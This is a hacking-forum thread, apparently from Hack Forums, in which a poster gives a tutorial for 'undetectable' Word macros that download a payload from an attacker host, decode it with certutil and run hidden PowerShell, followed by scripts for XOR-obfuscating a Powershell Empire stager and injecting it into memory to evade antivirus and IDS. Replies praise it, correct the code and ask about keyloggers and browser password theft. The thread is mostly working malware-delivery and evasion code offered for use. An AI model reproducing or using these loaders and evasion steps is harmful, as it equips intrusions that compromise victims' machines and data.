

Forum:[Hack Forums](#)

Thread: [\[TUT\] Creating Custom Undetectable Macros](#)

[BLANK] - January 18, 2018, 8:30 am

Custom Undetectable Macro Creation

The goal of this article is to demonstrate the process of creating a macro that reflectively injects Portable Executable file into a targets memory. This technique can be used to inject any type of PE file such as a RAT, but this demonstration will use Powershell Empire. I will also demonstrate methods of evading any AV or IDS that may be on the target.

Recommended Tools: Microsoft Office
[Powersploit's Invoke-ReflectivePEInjection](#)

It is best to avoid using automated tools when creating custom macros because automated tools are well known and get flagged very quickly. For this example we will be using Windows 'certutil' functionality.

Certutil allows us to decode an encoded (often Base64) .crt file, output to new file and execute that file.

For our purposes of using Empire first you need to create a listener and then use the window/exe stager. That will output an executable file. Take that executable and Base64 encode it (more on this later) and save the results in a file called encoded_ps1.crt. Store that file on your webserver (either use something like python simple http server or start up apache, or host the file wherever you can perform a GET request and pull it).

Our macro will use the following code (modify as necessary):

Code Sub DownloadAndExec()

```
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://attacker.com/encoded.crt", False
xHttp.Send
```

```
With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile "encoded.crt", 2 '//overwrite
End With
```

```
Shell ("cmd /c certutil -decode encoded_ps1.crt decoded.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden
.\decoded.ps1")
```

End Sub

If you don't know how to add a macro to a Word or Exel file then I recommend doing a bit of

research, I won't go into those details.

AV Bypass and IDS Evasion

Now that we have created our custom macro and added it to a Word file we will work on the payload. To evade A/V we will use Powersploit's Invoke-ReflectivePEInjection. I linked the github above for your use. To make it more A/V resistant you can simply remove every comment and rename the first function to "Invoke-PEInjectionInMemory".

More information on using the module:

<http://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/>

Now we will make our payload IDS resistant as well.

1. Convert empire.exe to a Base64 string: Open Windows PowerShell ISE, paste the following PowerShell Script and execute it.

```
Code function Convert-BinaryToString {  
    [CmdletBinding()] param (  
        [string] $FilePath  
    )  
    try {  
        $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);  
    }  
    catch {  
        throw "Failed to read file.";  
    }  
    if ($ByteArray) {  
        $Base64String = [System.Convert]::ToBase64String($ByteArray);  
    }  
    else {  
        throw '$ByteArray is $null.';  
    }  
    Write-Output -InputObject $Base64String;  
}  
Convert-BinaryToString path_to_empire_executable
```

2. Create the key with which you will XOR-obfuscate the Base64-converted Empire script we created earlier: Create a random Base64 string of equal length to the Base64-converted Empire executable. A quick way to do this would be taking the Base64-converted empire.exe and replacing, for example, all "A"s with "M"s.

3. XOR the Base64-converted empire.exe with the key you created in Step 2: To do this you can use the PowerShell Script below:

```
Code param (  
    [Parameter(Mandatory=$true)]  
    [string] $file2, #First File  
    [Parameter(Mandatory=$true)]  
    [string] $file2, #Second file  
    [Parameter(Mandatory=$true)]  
    [string] $out #Output File  
) #end param
```

```

$file1_b = [System.IO.File]::ReadAllBytes("$file2")
$file2_b = [System.IO.File]::ReadAllBytes("$file2")

$len = if ($file1_b.Count -lt $file2_b.Count) {$file1_b.Count} else {
$file2_b.Count}

$xord_byte_array = New-Object Byte[] $len

# XOR between the files

for($i=0; $i -lt $len ; $i++) {
    $xord_byte_array[$i] = $file1_b[$i] -bxor $file2_b[$i] }
[System.IO.File]::WriteAllBytes("$out", $xord_byte_array)
write-host "[*] $file1 XOR $file2`n[*] Saved to " -nonewline;
Write-host "$out" -foregroundcolor yellow -nonewline; Write-host ". ";[*]

```

Save the above PowerShell script locally (e.g xor_files.ps1), start a PowerShell session and execute the following. The result will be an XOR-obfusscated Empire (in Base64 form).

```
PS >> powershell -ep bypass .\xore_files.ps1 .\Base64-converted_empire .\XOR_key
```

4. Take the altered Invoke-ReflectivePEInjection, add the following to the end (replacing the code as needed to fit your environment), and compress is using gzip (<http://www.txtwizard.net/compression>).

```

Code (new-object Net.WebClient).DownloadFile('http://attacker.domain/xored_empire' ,
$env:temp+"/ciphertext")
(new-object Net.WebClient).DownloadFile('http://attacker.domain/xor_key' , $env:temp+"/key")

$ciphertext = [System.IO.File]::ReadAllBytes($env:temp+"/ciphertext")
$key = [System.IO.File]::ReadAllBytes($env:temp+"/key")

$len = if ($ciphertext.Count -lt $key.Count) {$ciphertext.Count} else { $key.Count}
$xord_byte_array = New-Object Byte[] $len

# XOR between the files
for($i=0; $i -lt $len ; $i++)
{
    $xord_byte_array[$i] = $ciphertext[$i] -bxor $key[$i]
}

[System.IO.File]::WriteAllBytes($env:temp+"/deciphered", $xord_byte_array)
$deciphered = Get-Content $env:temp/deciphered
$PEBytes = [System.Convert]::FromBase64String($deciphered)
Invoke-PEInjectionInMemory -PEBytes $PEBytes

```

[*]

Finally, embed the gzip compressed altered Invoke-ReflectivePEInjection you created in Step 4 into the following and save it as a PS1 file.

Code \$s=New-Object

```
IO.MemoryStream(,[Convert]::FromBase64String('insert_gzip_compressed_Invoke-ReflectivePEInjection'));
IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).
ReadToEnd()
```

[*]

I hope you all enjoyed this article and begin to explore the depth of macros!

nicksaban1 - January 18, 2018, 8:56 am

Very nice. I may try this sometime in the near future.

Clarence - January 18, 2018, 10:34 am

Nice share man, This will come in handy :)

[BLANK] - January 18, 2018, 1:10 pm

No worries, glad you found it useful.

Grams45 - January 19, 2018, 3:47 pm

(Jan 18, 2018 02:10 PM)EasyGhost Wrote: [\[CITE\]](#) No worries, glad you found it useful.

Good evening, you can explain in detail in PM, how you can view passwords in the browser and install a keylogger?

CyberStrike - January 20, 2018, 2:41 am

Great stuff EasyGhost, always HQ stuff.

Baud - January 20, 2018, 5:16 am

Very interesting method, thank you for sharing this EasyGhost, I'll try it out as soon as I find enough time to do so. I've noticed an error though, on the code from step 3 there are two different parameters called \$file2, the first should be \$file1. You named them the same also below, when their content is copied inside \$file1_b and \$file2_b.

Also, I made a script for anyone who wants to make a XOR key like described on the tutorial:

Code param
(

```
[Parameter(Mandatory=$true)]
[string] $in,
[Parameter(Mandatory=$true)]
[string] $from,
[Parameter(Mandatory=$true)]
[string] $to
)

if (Test-Path $in)
{
    $data = Get-Content $in
    $data.Replace($from, $to) > 'XOR_Key.txt'
    Write-Host('XOR key created')
}

else
{
    Write-Host('Input file does not exist')
}
```

Example usage:

Code `.\get_xor_key.ps1 -in my_encrypted_file.txt -from a -to b`

[BLANK] - *January 20, 2018, 8:03 am*

Thank you Baud! I was typing all the code out by hand so there's always a chance of a mistake. I appreciate the corrections.

CryptoPump - *January 25, 2018, 8:59 am*

Thanks, will try when i've got time ;)

Hypnotist - *February 17, 2019, 5:58 am*

Coming back to this thanks for sharing.

eckson66 - *February 21, 2019, 3:34 pm*

very nice dude this will come in handy for sure